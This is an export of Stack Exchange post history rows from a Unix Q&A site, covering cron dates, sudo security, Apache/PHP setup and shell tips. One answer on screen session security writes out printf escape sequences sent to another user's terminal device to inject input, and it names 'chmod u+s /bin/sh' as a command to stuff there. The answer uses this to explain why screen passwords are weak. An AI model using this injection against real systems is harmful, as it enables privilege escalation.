  <row Id="20275" PostHistoryTypeId="1" PostId="8584" RevisionGUID="dbe46494-4854-4f1a-8836-9d05d7dbeea9" CreationDate="2011-03-04T17:57:39.600" UserId="5317" Text="Using the system date / time in a Cron Script" />
  <row Id="20276" PostHistoryTypeId="3" PostId="8584" RevisionGUID="dbe46494-4854-4f1a-8836-9d05d7dbeea9" CreationDate="2011-03-04T17:57:39.600" UserId="5317" Text="ébashàéterminalàécronà" />
  <row Id="20277" PostHistoryTypeId="2" PostId="8585" RevisionGUID="11a28602-561d-49a9-80ec-500b67db5b85" CreationDate="2011-03-04T18:11:40.720" UserId="3519" Text="You should be able to use `date`.  &#xD;&#xA;Type `info date` or `man date` for details.&#xD;&#xA;&#xD;&#xA;Something like the following might suit you (change the date format to your needs)&#xD;&#xA;&#xD;&#xA;    yourcommand &gt; filepathandnameprefix$(date +&quot;%D-%m-%Y&quot;).extension" />
  <row Id="20278" PostHistoryTypeId="2" PostId="8586" RevisionGUID="f064964f-7243-402d-baea-d76d2dfe2d26" CreationDate="2011-03-04T18:13:27.210" UserId="2671" Text="The safest approach is ssh login using (at least) 2048 long key (with password login disabled) using a physical device to store the key." />
  <row Id="20279" PostHistoryTypeId="2" PostId="8587" RevisionGUID="049cbcd6-a108-4cb8-a121-00f18899e22a" CreationDate="2011-03-04T18:17:59.753" UserId="732" Text="You could try something like this:&#xD;&#xA;&#xD;&#xA;    15 11 * * * touch &quot;/tmp/$(date +%d-%m-%Y).sql&quot;&#xD;&#xA;&#xD;&#xA;To see if your particular cron will run the command out of crontab as a script in and of itself, or if you need to write a script that figures out the date as a string, and then runs your mysqldump command.&#xD;&#xA;&#xD;&#xA;&quot;cron&quot; on Redhat Enterprise Linux 5.0 (I think) did not like the &quot;$()&quot; construct, and kept giving me errors about not finding a matching ')'." />
  <row Id="20280" PostHistoryTypeId="2" PostId="8588" RevisionGUID="0c9cda91-3bd4-452a-93ef-1a057c95ee58" CreationDate="2011-03-04T18:20:31.033" UserId="2511" Text="Security is always about trade-off. Root would be _most_ secure if there were no way to access it at all.&#xD;&#xA;&#xD;&#xA;I notice that your LD_PRELOAD and PATH attacks assume an attacker with acesss to your account already, or at least to your dotfiles. Sudo doesn't protect against that very well at all — if they have your password, after all, no need to try tricking you for later... they can just use `sudo` _now_.&#xD;&#xA;&#xD;&#xA;Another thing to think about is what Sudo was designed for originally: delegation of _specific_ commands (like those to manage printers) to &quot;sub-administrators&quot; (perhaps grad students in a lab) without giving away root completely. Using sudo to do _everything_ is the most common use I see now, but it's not necessarily the problem the program was meant to solve (hence the ridiculously complicated config file syntax).&#xD;&#xA;&#xD;&#xA;But, sudo-for-unrestricted-root does attempt to address another security problem: manageability of root passwords. At many organizations, these tend to be passed around like candy, written on whiteboards, and left the same forever. That leaves a big vulnerability, since revoking or changing access becomes a big production number.&#xD;&#xA;&#xD;&#xA;And, remember that most &quot;cyber-crime&quot; comes from within. With the root password situation described, it's hard to track down who did what — something sudo with remote logging deals with pretty well.&#xD;&#xA;&#xD;&#xA;On your home system, I think it's really more a matter of the convenience of not having to remember two passwords. It's probable that many people were simply setting them to be the same — or worse, setting them to be the same initially and then letting them get out of sync, leaving the root password to rot.&#xD;&#xA;&#xD;&#xA;Using passwords _at all_ for SSH is dangerous, since password-sniffing trojaned ssh daemons are put into place in something like 90% of the real-world system compromises I've seen. It's much better to use SSH keys, and this can be a workable system for remote root access as well.&#xD;&#xA;&#xD;&#xA;But the problem there is now you've moved from password management to key management, and ssh keys aren't really very manageable. There's no way of restricting copies, and if someone does make a copy, they have all the attempts they want to brute-force the passphrase. You can make policy saying that keys must be stored on removable devices and only mounted when needed, but there's no way of enforcing that — and now you've introduced the possibility of a removable device getting lost or stolen.&#xD;&#xA;&#xD;&#xA;The highest security is going to come through one-time keys or time/counter-based cryptographic tokens. These can be done in software, but tamper-resistant hardware is even better. In the open source world, there's [WiKiD][1] and [YubiKey][2], and of course there's also the proprietary heavyweight [RSA SecurID][3]. If you're in a medium-to-large organization, or even a security-conscious small one, I highly recommend looking into one of these approaches for administrative access.&#xD;&#xA;&#xD;&#xA;It's probably overkill for home, though, where you don't really have the management hassles — as long as you follow sensible security practices.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wikidsystems.com/&#xD;&#xA;  [2]: http://www.yubico.com/yubikey&#xD;&#xA;  [3]: http://www.rsa.com/node.aspx?id=1156" />
  <row Id="20281" PostHistoryTypeId="2" PostId="8589" RevisionGUID="056823b3-f509-419a-85f6-54ef332a0393" CreationDate="2011-03-04T18:34:01.170" UserId="3125" Text="Is there a command that relaunch the application once it finishes from the command line? Letting you do something like:&#xD;&#xA;&#xD;&#xA;    &gt; relaunch python myapp.py&#xD;&#xA;&#xD;&#xA;If not, then what's my best option? I know I could cron it, but I'd be more interested in something I could just execute from the terminal and that restarts at once. I'm on Debian if that matters." />
  <row Id="20282" PostHistoryTypeId="1" PostId="8589" RevisionGUID="056823b3-f509-419a-85f6-54ef332a0393" CreationDate="2011-03-04T18:34:01.170" UserId="3125" Text="Relaunch application once finished" />
  <row Id="20283" PostHistoryTypeId="3" PostId="8589" RevisionGUID="056823b3-f509-419a-85f6-54ef332a0393" CreationDate="2011-03-04T18:34:01.170" UserId="3125" Text="élinuxàéshellàécommandölineàédebianàécommandà" />
  <row Id="20284" PostHistoryTypeId="2" PostId="8590" RevisionGUID="2048b572-09bb-40d0-a5d0-a073cdb1e4f2" CreationDate="2011-03-04T18:41:47.977" UserId="2783" Text="You can try with a simple infinite loop:&#xD;&#xA;&#xD;&#xA;    while true; do&#xD;&#xA;      python myapp.py&#xD;&#xA;    done" />
  <row Id="20285" PostHistoryTypeId="5" PostId="8585" RevisionGUID="fb12d907-a754-4607-b646-84a547953be4" CreationDate="2011-03-04T18:56:09.240" UserId="3519" Comment="added 3 characters in body" Text="You should be able to use `date`.  &#xD;&#xA;Type `info date` or `man date` for details.&#xD;&#xA;&#xD;&#xA;Something like the following might suit you (change the date format to your needs)&#xD;&#xA;&#xD;&#xA;    yourcommand &gt; filepathandnameprefix$(date +&quot;\%d-\%m-\%Y&quot;).extension" />
  <row Id="20286" PostHistoryTypeId="5" PostId="8587" RevisionGUID="5862cb4b-3afd-470b-bebd-7ba3a300acad" CreationDate="2011-03-04T19:14:22.923" UserId="732" Comment="Added glenn jackman's correction after I tried it out." Text="You could try something like this:&#xD;&#xA;&#xD;&#xA;    15 11 * * * touch &quot;/tmp/$(date +%d-%m-%Y).sql&quot;&#xD;&#xA;&#xD;&#xA;To see if your particular cron will run the command out of crontab as a script in and of itself, or if you need to write a script that figures out the date as a string, and then runs your mysqldump command.&#xD;&#xA;&#xD;&#xA;&quot;cron&quot; on Redhat Enterprise Linux 5.0 (I think) did not like the &quot;$()&quot; construct, and kept giving me errors about not finding a matching ')'.&#xD;&#xA;&#xD;&#xA;NOTE:&#xD;&#xA;As glenn jackmann notes below, you have to escape all '%' characters.&#xD;&#xA;&#xD;&#xA;    15 11 * * * touch &quot;/tmp/$(date +\%d-\%m-\%Y).sql&quot;&#xD;&#xA;works under RHEL 5.0.  I would also take the recommendation to use ISO8601 date format (yyyy-mm-dd) to make the file names order by date when sorted lexically.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20287" PostHistoryTypeId="2" PostId="8591" RevisionGUID="0779a448-831d-41fc-a735-f8a763e56722" CreationDate="2011-03-04T19:15:31.300" UserId="5318" Text="Yum is RPM based and is completely written in Python&#xD;&#xA;&#xD;&#xA;Yum or RPM maintains a database(Berkley DB ) usually in  &quot;/var/lib/rpm&quot;&#xD;&#xA;&#xD;&#xA;The dataabase path is &quot;/var/lib/rpm/Packages&quot;&#xD;&#xA;&#xD;&#xA;See below :&#xD;&#xA;&#xD;&#xA;[root@ec092 rpm]# pwd&#xD;&#xA;/var/lib/rpm&#xD;&#xA;[root@ec092 rpm]# file Packages &#xD;&#xA;Packages: Berkeley DB (Hash, version 8, native byte-order)&#xD;&#xA;when you use the commands like rpm -qa it queries the Packages DB and it maintains all the attributes like package list, file list, package versions and so on.&#xD;&#xA;&#xD;&#xA;Ubutu's apt-get is written in C++ and is some what complex.&#xD;&#xA;" />
  <row Id="20288" PostHistoryTypeId="2" PostId="8592" RevisionGUID="f21acc26-bf0a-48b9-9611-b358ad963a13" CreationDate="2011-03-04T19:18:17.830" UserId="3608" Text="What's the difference between `export` and `setenv`?" />
  <row Id="20289" PostHistoryTypeId="1" PostId="8592" RevisionGUID="f21acc26-bf0a-48b9-9611-b358ad963a13" CreationDate="2011-03-04T19:18:17.830" UserId="3608" Text="What's the difference between &quot;export&quot; and &quot;setenv&quot;?" />
  <row Id="20290" PostHistoryTypeId="3" PostId="8592" RevisionGUID="f21acc26-bf0a-48b9-9611-b358ad963a13" CreationDate="2011-03-04T19:18:17.830" UserId="3608" Text="éenvironmentövariablesà" />
  <row Id="20291" PostHistoryTypeId="2" PostId="8593" RevisionGUID="b701564d-c997-42f1-be0e-9a46c82de938" CreationDate="2011-03-04T19:25:04.600" UserId="838" Text="there is none but:&#xD;&#xA;&#xD;&#xA;`setenv` is the name of the command in the *csh family of shells&#xD;&#xA;&#xD;&#xA;`export` is the name of the command in the &quot;other&quot; family of shells (ash, bourne, bourne again, zsh)&#xD;&#xA;&#xD;&#xA;and, ok, the syntax is slightly different. but other than that? none." />
  <row Id="20292" PostHistoryTypeId="5" PostId="8475" RevisionGUID="6a9b1bd4-0977-4fe7-9cac-8e182f2544fe" CreationDate="2011-03-04T19:26:05.420" UserId="5239" Comment="redirecting output" Text="If `some-boring-process` is running in your current bash session:&#xD;&#xA;&#xD;&#xA; 1. halt it with `ctrl-z` to give you the bash prompt&#xD;&#xA; 2. put it in the background with `bg`&#xD;&#xA; 3. note the job number, or use the `jobs` command&#xD;&#xA; 4. detach the process from this bash session with `disown -h %1` (substitute the actual job number there).&#xD;&#xA;&#xD;&#xA;That doesn't do anything to redirect the output -- you have to think of that when you launch your boring process. [Edit] There seems to be a way to redirect it https://gist.github.com/782263&#xD;&#xA;&#xD;&#xA;But seriously, look into screen. I have shells on a remote server that have been running for months.&#xD;&#xA;" />
  <row Id="20293" PostHistoryTypeId="24" PostId="8475" RevisionGUID="6a9b1bd4-0977-4fe7-9cac-8e182f2544fe" CreationDate="2011-03-04T19:26:05.420" Comment="Proposed by 5239 approved by 4667 edit id of 179" />
  <row Id="20294" PostHistoryTypeId="2" PostId="8594" RevisionGUID="68330f80-de20-4ce2-b442-307f5263678a" CreationDate="2011-03-04T19:30:58.810" UserId="2339" Text="There IS a way to recognize Windows permissions on a ntfs-3g mount. You have to create a user-mapping file. See [here][1].&#xD;&#xA;&#xD;&#xA;This can be done from within Linux too, with the `ntfs-3g.usermap` utility. See the manual pages for `mount.ntfs-3g` and `ntfs-3g.usermap`. (I use Fedora 14.)&#xD;&#xA;&#xD;&#xA;EDIT: I don't know what effect enabling this will have on Nautilus' mount feature. Me, I like to mount the partitions in `/etc/fstab` and leave it at that.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuxera.com/community/ntfs-3g-advanced/user-mapping/" />
  <row Id="20295" PostHistoryTypeId="2" PostId="8595" RevisionGUID="75a0fb53-7ebe-4332-9c02-82ac57ad9463" CreationDate="2011-03-04T19:50:15.930" UserId="5319" Text="Here's the bash script I used:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    mysqldump -u user1 -p DatabaseName | gzip &gt; BackupFolder/backup`date +%F_%T`.sql.gz&#xD;&#xA;&#xD;&#xA;Files look like:&#xD;&#xA;&#xD;&#xA;    backup2011-03-02_15:16:46.sql.gz&#xD;&#xA;&#xD;&#xA;Point the cron job at this to run nightly or whatever you prefer." />
  <row Id="20296" PostHistoryTypeId="2" PostId="8596" RevisionGUID="757f734a-7660-434d-8f55-84c55cf122aa" CreationDate="2011-03-04T20:04:40.640" UserId="885" Text="*This is a very complex question. [mattdm](http://unix.stackexchange.com/users/2511/mattdm) [has already covered many points](http://unix.stackexchange.com/questions/8581/which-is-the-safest-way-to-get-root-privileges-sudo-su-or-login/8588#8588).*&#xD;&#xA;&#xD;&#xA;Between su and sudo, when you consider a single user, su is a little more secure in that an attacker who has found your password can't gain root privileges immediately. But all it takes is for the attacker to find a local root hole (relatively uncommon) or install a trojan and wait for you to run su.&#xD;&#xA;&#xD;&#xA;Sudo has advantages even over a console login when there are multiple users. For example, if a system is configured with remote tamper-proof logs, you can always find out who last ran sudo (or whose account was compromised), but you don't know who typed the root password on the console.&#xD;&#xA;&#xD;&#xA;I suspect Ubuntu's decision was partly in the interest of simplicity (only one password to remember) and partly in the interest of security and ease of credential distribution on shared machines (business or family).&#xD;&#xA;&#xD;&#xA;Linux doesn't have a secure attention key or other secure user interface for authentication. As far as I know even OpenBSD doesn't have any. If you're that concerned about root access, you could disable root access from a running system altogether: if you want to be root, you would need to type something at the bootloader prompt. This is obviously not suitable for all use cases. (*BSD's [securelevel](http://en.wikipedia.org/wiki/Securelevel) works like this: at a high securelevel, there are things you can't do without rebooting, such as lowering the securelevel or accessing mounted raw devices directly.)&#xD;&#xA;&#xD;&#xA;Restricting the ways one can become root is not always a gain for security. Remember the third member of the [security triad](http://en.wikipedia.org/wiki/CIA_triad): [confidentiality](http://en.wikipedia.org/wiki/Confidentiality), [integrity](http://en.wikipedia.org/wiki/Data_integrity), [**availability**](http://en.wikipedia.org/wiki/Availability). Locking yourself out of your system can prevent you from responding to an incident.&#xD;&#xA;" />
  <row Id="20297" PostHistoryTypeId="2" PostId="8597" RevisionGUID="5eda975a-e876-49cc-900e-dcb37ee337e8" CreationDate="2011-03-04T20:20:21.077" UserId="885" Text="Nasty. But in a sense, you're looking for trouble when two concurrent processes are manipulating a directory tree. Unix provides primitives for atomic manipulation of a single file, but not for whole directory trees.&#xD;&#xA;&#xD;&#xA;A simple workaround would be for your script to rename the directory before removing it. Since your use case has cooperating scripts, it's ok for the new name to be predictable.&#xD;&#xA;&#xD;&#xA;    mv /build/tree /build/tree.rm.$$&#xD;&#xA;    mkdir /build/tree&#xD;&#xA;    rm -rf /build/tree.rm.$$&#xD;&#xA;&#xD;&#xA;Maybe you can even do the `rm` in the background later, while your build performs some CPU-bound tasks.&#xD;&#xA;" />
  <row Id="20298" PostHistoryTypeId="6" PostId="8550" RevisionGUID="3753b5d8-c5f7-46ec-b537-f8f8945ef8ee" CreationDate="2011-03-04T20:20:31.717" UserId="885" Comment="edited tags" Text="éfilesàérmàéconcurrencyà" />
  <row Id="20299" PostHistoryTypeId="5" PostId="8193" RevisionGUID="b600d5e5-6227-467b-ad25-0e566caa5729" CreationDate="2011-03-04T20:22:38.247" UserId="3635" Comment="added 404 characters in body" Text="`yum remove` is not guaranteed to preserve configuration files.&#xD;&#xA;&#xD;&#xA;As stated in the [yum HOWTO][1]:&#xD;&#xA;&#xD;&#xA;&gt;In any event, the command syntax for package removal is:&#xD;&#xA;&gt;&#xD;&#xA;    # yum remove package1 [package2 package3...]&#xD;&#xA;&gt;&#xD;&#xA;&gt;As noted above, it removes package1 and all packages in the dependency tree that depend on package1, &lt;b&gt;possibly irreversibly as far as configuration data is concerned&lt;/b&gt;.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Update&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;As James points out, you can use the `rpm -e` command to erase a package but save backup copies of any configuration files that have changed. &#xD;&#xA;&#xD;&#xA;For more information, see [Using RPM to Erase Packages][2]. In particular:&#xD;&#xA;&#xD;&#xA;&gt;It checks to see if any of the package's config files have been modified. If so, it saves copies of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phy.duke.edu/~rgb/General/yum_HOWTO/yum_HOWTO/yum_HOWTO-10.html&#xD;&#xA;  [2]: http://www.rpm.org/max-rpm/ch-rpm-erase.html" />
  <row Id="20300" PostHistoryTypeId="2" PostId="8598" RevisionGUID="5a2afe10-8a44-4b12-ba2c-ca4bd9099774" CreationDate="2011-03-04T20:27:57.523" UserId="5321" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have no experience with Linux. I'm looking for a distribution which is beginner friendly. Ubuntu looks great.&#xD;&#xA;&#xD;&#xA;My usage for this system will include web development, and possibly application development. &#xD;&#xA;&#xD;&#xA;However, I would prefer a system where I can design my own theme, alter the interface. Think &quot;theming&quot;.&#xD;&#xA;&#xD;&#xA;What would you recommend? " />
  <row Id="20301" PostHistoryTypeId="1" PostId="8598" RevisionGUID="5a2afe10-8a44-4b12-ba2c-ca4bd9099774" CreationDate="2011-03-04T20:27:57.523" UserId="5321" Text="Recommend a Linux Distribution for my use." />
  <row Id="20302" PostHistoryTypeId="3" PostId="8598" RevisionGUID="5a2afe10-8a44-4b12-ba2c-ca4bd9099774" CreationDate="2011-03-04T20:27:57.523" UserId="5321" Text="éubuntuàédistrosàédistributionöchoiceàédesktopöenvironmentàégraphicsà" />
  <row Id="20303" PostHistoryTypeId="2" PostId="8599" RevisionGUID="d3782ffc-3490-4851-addc-7ad5043fc4ed" CreationDate="2011-03-04T20:30:33.577" UserId="3635" Text="Ubuntu is a good choice for a first distribution, if you want something you can get up-and-running quickly and easily. You might also consider [fedora][1] as well.&#xD;&#xA;&#xD;&#xA;You can certainly theme an Ubuntu installation. See this thread for a good starting point - [HowTo: theme your desktop][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/&#xD;&#xA;  [2]: http://ubuntuforums.org/showthread.php?t=203093" />
  <row Id="20304" PostHistoryTypeId="2" PostId="8600" RevisionGUID="782cb738-36e7-4036-a265-f5885c85adb8" CreationDate="2011-03-04T20:31:27.817" UserId="-1" Text="" />
  <row Id="20305" PostHistoryTypeId="2" PostId="8601" RevisionGUID="9af165b3-8bea-46b0-bf8f-b261ab2a8fda" CreationDate="2011-03-04T20:31:27.817" UserId="-1" Text="" />
  <row Id="20306" PostHistoryTypeId="2" PostId="8602" RevisionGUID="7b3b4d0c-0078-40fa-a30a-87376cec9f55" CreationDate="2011-03-04T20:33:23.797" UserId="688" Text="Ubuntu offers all of that:&#xD;&#xA;&#xD;&#xA;* It was designed from the on-set to be a newbie-friendly Debian; I've used both, and it certainly is easier, at least on the surface (i.e. the basic stuff).&#xD;&#xA;* It has some of the largest collection of software of all distros; this includes a whole bunch of development stuff (all major programming languages, a whole bunch web frameworks, and a lot of developer libraries and tools).&#xD;&#xA;* You can even change Desktop Environments if you please, or theme the default one.&#xD;&#xA;* A very large user base (it's the most popular distro for several months now), and therefore huge resources at your disposal. It even has a dedicated [Stack Exchange site][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/" />
  <row Id="20307" PostHistoryTypeId="5" PostId="8601" RevisionGUID="116fe048-3db2-495d-812b-2e8baf1ab6c7" CreationDate="2011-03-04T20:46:51.187" UserId="3635" Comment="added 47 characters in body" Text="Manipulation of text by programs, scripts, etc." />
  <row Id="20308" PostHistoryTypeId="24" PostId="8601" RevisionGUID="116fe048-3db2-495d-812b-2e8baf1ab6c7" CreationDate="2011-03-04T20:46:51.187" Comment="Proposed by 3635 approved by 73 edit id of 180" />
  <row Id="20309" PostHistoryTypeId="5" PostId="8598" RevisionGUID="1d4747bc-c436-4170-afac-b4b242612f1c" CreationDate="2011-03-04T20:47:52.007" UserId="5321" Comment="added 195 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have no experience with Linux. I'm looking for a distribution which is beginner friendly. Ubuntu looks great.&#xD;&#xA;&#xD;&#xA;My usage for this system will include web development, and possibly application development. &#xD;&#xA;&#xD;&#xA;However, I would prefer a system where I can design my own theme, alter the interface. Think &quot;theming&quot;.&#xD;&#xA;&#xD;&#xA;What would you recommend? &#xD;&#xA;&#xD;&#xA;&lt;strong&gt;EDIT&lt;/strong&gt;&#xD;&#xA;I'm looking to run this on a 2008 MacBook Pro 2.4Ghz C2D, 2GB GDDR3.&#xD;&#xA;&#xD;&#xA;Will it be okay performance wise through virtualization such as VMWARE or should I use BootCamp?" />
  <row Id="20310" PostHistoryTypeId="2" PostId="8603" RevisionGUID="ec74eb77-f95b-4958-bd48-9c51e376d279" CreationDate="2011-03-04T21:15:14.053" UserId="885" Text="If you have a root shell in a screen session (detached or not, password-protected or not), and your `screen` executable is not setxid, then an attacker who gains your privileges can run commands in that shell. If nothing else, they can do it by [ptracing](http://en.wikipedia.org/wiki/Ptrace) the screen process.&#xD;&#xA;&#xD;&#xA;If screen is setuid or setgid, and the session is detached and password-protected, then in principle it takes the screen password to run commands in that shell. If this principle holds, someone who'd only compromised your account would have to put a trojan in place and wait for you to type the password. However the attack surface (i.e. the number of places where things can go wrong due to a bug or misconfiguration) is uncomfortably large. In addition to the basic system security features, you're trusting:&#xD;&#xA;&#xD;&#xA;* screen to get the password check right.&#xD;&#xA;* screen to prevent access to the session by other means.&#xD;&#xA;* screen to use the OS access control mechanisms properly (e.g. permissions on the pipes).&#xD;&#xA;* the kernel to perform the ptrace security checks correctly (this is a frequent source of vulnerabilities).&#xD;&#xA;* the running shell not to do anything stupid.&#xD;&#xA;* some other feature not to bite you.&#xD;&#xA;&#xD;&#xA;“Some other feature not to bite you”: yeah, that's vague. But it's always a concern in security. You might be tempted to dismiss this as just plain wishful thinking, but did you really think of everything? For example…&#xD;&#xA;&#xD;&#xA;As long as you can write to the terminal device, you can inject data into that shell's input. Under screen's default configuration on my machine:&#xD;&#xA;&#xD;&#xA;    printf '\ekfoo\017bar\e\\' &gt;/dev/pts/33&#xD;&#xA;    printf '\e[21t' &gt;/dev/pts/33&#xD;&#xA;&#xD;&#xA;This inserts `␛]lfoobar␛l` in the shell's input stream. `\ek` is the control sequence that lets an application (or anything that can write to the terminal device) set the window title (see the [“Naming windows” section in the screen manual](http://www.gnu.org/software/screen/manual/screen.html#Naming-Windows)), and `\e[21t` makes the terminal report its title on the application's standard input (screen doesn't document this sequence, but does implement it; you can find it under `CSI Ps ; Ps ; Ps ; t` in the [xterm control sequences list](http://invisible-island.net/xterm/ctlseqs/ctlseqs.txt). In fact, at least under screen 4.0.3, all control characters are stripped from the reported title, so the shell reads `lfoobar` (assuming `␛]` is not bound to an editing command) and no newline. So the attacker can't actually execute a command that way, but can stuff a command like `chmod u+s /bin/sh` followed by a lot of spaces and a likely-looking prompt.&#xD;&#xA;&#xD;&#xA;Screen implements several other similar risky control sequences, I don't know what their potentiality for vulnerabilities is. But hopefully by now you can see that the protection offered by screen session passwords is not that great. A dedicated security tool such as sudo is a lot less likely to have vulnerabilities.&#xD;&#xA;" />
  <row Id="20311" PostHistoryTypeId="4" PostId="8455" RevisionGUID="cab1dbc7-88c4-4845-b839-f30115788ea7" CreationDate="2011-03-04T21:27:06.317" UserId="5247" Comment="more fitting installer" Text="Fixing debian installer" />
  <row Id="20312" PostHistoryTypeId="6" PostId="8568" RevisionGUID="3119dd03-1888-4195-b1f6-22988f1a063b" CreationDate="2011-03-04T21:28:09.090" UserId="885" Comment="edited tags" Text="énetworkingàémonitoringàéhttpà" />
  <row Id="20313" PostHistoryTypeId="6" PostId="8554" RevisionGUID="47708010-adbe-43c7-9450-1c85a1cc777b" CreationDate="2011-03-04T21:29:37.483" UserId="885" Comment="edited tags" Text="étextöprocessingàéxmlàéjsonà" />
  <row Id="20314" PostHistoryTypeId="6" PostId="8562" RevisionGUID="7e31ee14-6c29-4d83-9a6f-8387764dae43" CreationDate="2011-03-04T21:34:30.930" UserId="885" Comment="edited tags" Text="écommandölineàénautilusà" />
  <row Id="20315" PostHistoryTypeId="2" PostId="8604" RevisionGUID="668a0e56-f605-4785-a0cc-0654791d4e56" CreationDate="2011-03-04T21:38:56.307" UserId="5247" Text="I have VPS running Debian 5.0 (I think) and I would like to get it to run PHP files. I was told it needed to be configured with Apache. I tried entering the command `apt-get install apache2 php5 libapache2-mod-php5`. But there was no change. Console output: http://pastebin.com/sVMWq6mA &#xD;&#xA;&#xD;&#xA;My webserver can be accessed here:&#xD;&#xA;http://206.217.223.136/test/&#xD;&#xA;In my test.php file I have the code :&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;     phpinfo();&#xD;&#xA;    ?&gt;&#xD;&#xA;but instead of displaying the page, it tries to download it. How can I fix this?" />
  <row Id="20316" PostHistoryTypeId="1" PostId="8604" RevisionGUID="668a0e56-f605-4785-a0cc-0654791d4e56" CreationDate="2011-03-04T21:38:56.307" UserId="5247" Text="Getting PHP to work with apache to run .php files through browser" />
  <row Id="20317" PostHistoryTypeId="3" PostId="8604" RevisionGUID="668a0e56-f605-4785-a0cc-0654791d4e56" CreationDate="2011-03-04T21:38:56.307" UserId="5247" Text="édebianàéapacheàéphpà" />
  <row Id="20318" PostHistoryTypeId="5" PostId="8604" RevisionGUID="786d6bc1-4e98-46e9-b8e4-395850c40ac4" CreationDate="2011-03-04T21:45:48.937" UserId="5247" Comment="added 108 characters in body" Text="I have VPS running Debian 5.0 (I think) and I would like to get it to run PHP files. I was told it needed to be configured with Apache. I tried entering the command `apt-get install apache2 php5 libapache2-mod-php5`. But there was no change. Console output: http://pastebin.com/sVMWq6mA &#xD;&#xA;&#xD;&#xA;This is everything in my `/etc/apache2/mods-enabled`:&#xD;&#xA;`http://img35.imageshack.us/img35/6474/modsb.jpg`&#xD;&#xA;&#xD;&#xA;My webserver can be accessed here:&#xD;&#xA;http://206.217.223.136/test/&#xD;&#xA;In my test.php file I have the code :&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;     phpinfo();&#xD;&#xA;    ?&gt;&#xD;&#xA;but instead of displaying the page, it tries to download it. How can I fix this?" />
  <row Id="20319" PostHistoryTypeId="5" PostId="6830" RevisionGUID="ad853819-5bbf-471f-986f-28308634d868" CreationDate="2011-03-04T22:04:05.840" UserId="1078" Comment="deleted 5 characters in body" Text="The pwd shell built-in uses the path the shell keeps track of when you `cd` (and stores it in `$PWD`). This means if you have a symlink to a complex (deep) path, it will tell you what you typed to change to that directory instead of the real path. This is done to give you what you want most of the time.&#xD;&#xA;&#xD;&#xA;`/bin/pwd` uses the `getcwd` system call (which these days is a library call, reading `/proc/self/cwd`) which returns the canonical path for the current directory, sans all symlink traversals.&#xD;&#xA;&#xD;&#xA;As Steven D pointed out, `pwd` has the `-P` option to ignore `$PWD`. It also has the `-L` option to return the contents of `$PWD`. The man page for `pwd` does not say which option is used by default but experience tells me the above description is correct (shell `pwd` vs. `/bin/pwd`). However you should probably not rely on that and just use `pwd -P`." />
  <row Id="20321" PostHistoryTypeId="2" PostId="8606" RevisionGUID="5dc4568e-91e9-4aa7-8a3e-fada20af00c3" CreationDate="2011-03-04T22:41:10.260" UserId="4049" Text="I think you probably missed restarting apache2...&#xD;&#xA;&#xD;&#xA;    sudo service apache2 restart&#xD;&#xA;&#xD;&#xA;If it isn't as simple as that try [this thread][1], before you ask Ubuntu is a derivative of Debian. ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=1361019" />
  <row Id="20322" PostHistoryTypeId="2" PostId="8607" RevisionGUID="5b8bbef8-a8c8-411f-9946-e7c0a750f656" CreationDate="2011-03-04T22:44:11.473" UserId="4784" Text="I am executing every now and then some python scripts which take quite long to execute.&#xD;&#xA;&#xD;&#xA;I execute them like this:&#xD;&#xA;`$ time python MyScript.py`&#xD;&#xA;&#xD;&#xA;How can I play a sound as soon as the execution of the script is done?&#xD;&#xA;&#xD;&#xA;I use Ubuntu 10.10 (Gnome desktop)." />
  <row Id="20323" PostHistoryTypeId="1" PostId="8607" RevisionGUID="5b8bbef8-a8c8-411f-9946-e7c0a750f656" CreationDate="2011-03-04T22:44:11.473" UserId="4784" Text="How can I play a sound when script execution is ready?" />
  <row Id="20324" PostHistoryTypeId="3" PostId="8607" RevisionGUID="5b8bbef8-a8c8-411f-9946-e7c0a750f656" CreationDate="2011-03-04T22:44:11.473" UserId="4784" Text="ébashàéshellàéubuntuàégnomeàéterminalà" />
  <row Id="20325" PostHistoryTypeId="5" PostId="8606" RevisionGUID="32346fda-fc3f-40fd-87cd-3f46f7f6a089" CreationDate="2011-03-04T22:48:36.477" UserId="4049" Comment="deleted 169 characters in body; added 1 characters in body; added 95 characters in body" Text="I think you probably missed restarting apache2...&#xD;&#xA;&#xD;&#xA;    /etc/init.d/apache2 restart&#xD;&#xA;&#xD;&#xA;You will have to run this command from your root account, or put sudo on the beginning of it." />
  <row Id="20326" PostHistoryTypeId="2" PostId="8608" RevisionGUID="e46bf74f-bebc-4b65-abe7-b80c027aa3f8" CreationDate="2011-03-04T23:00:25.193" UserId="885" Text="    time python MyScript.py; play /path/so/sound.ogg&#xD;&#xA;&#xD;&#xA;`play` is a very basic (no UI) sound player from the [sox](http://packages.ubuntu.com/sox) [![Install sox](http://bit.ly/software-small)](http://apt.ubuntu.com/p/sox) package. You can replace it by any other command-line-driven sound player.&#xD;&#xA;" />
  <row Id="20327" PostHistoryTypeId="6" PostId="8607" RevisionGUID="51dcb53c-4687-467c-be35-d498f270fb06" CreationDate="2011-03-04T23:00:40.060" UserId="885" Comment="edited tags" Text="éshellàéubuntuàéaudioà" />
  <row Id="20328" PostHistoryTypeId="5" PostId="8606" RevisionGUID="fb43683c-f4c5-480a-9fa8-cad82d9c5db7" CreationDate="2011-03-04T23:00:51.193" UserId="4049" Comment="added official documentation link" Text="I think you probably missed restarting apache2...&#xD;&#xA;&#xD;&#xA;    /etc/init.d/apache2 restart&#xD;&#xA;&#xD;&#xA;You will have to run this command from your root account, or put sudo on the beginning of it.&#xD;&#xA;&#xD;&#xA;For full details on installing PHP5 - use the official php5 on debian instructions [HERE][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/install.unix.debian.php" />
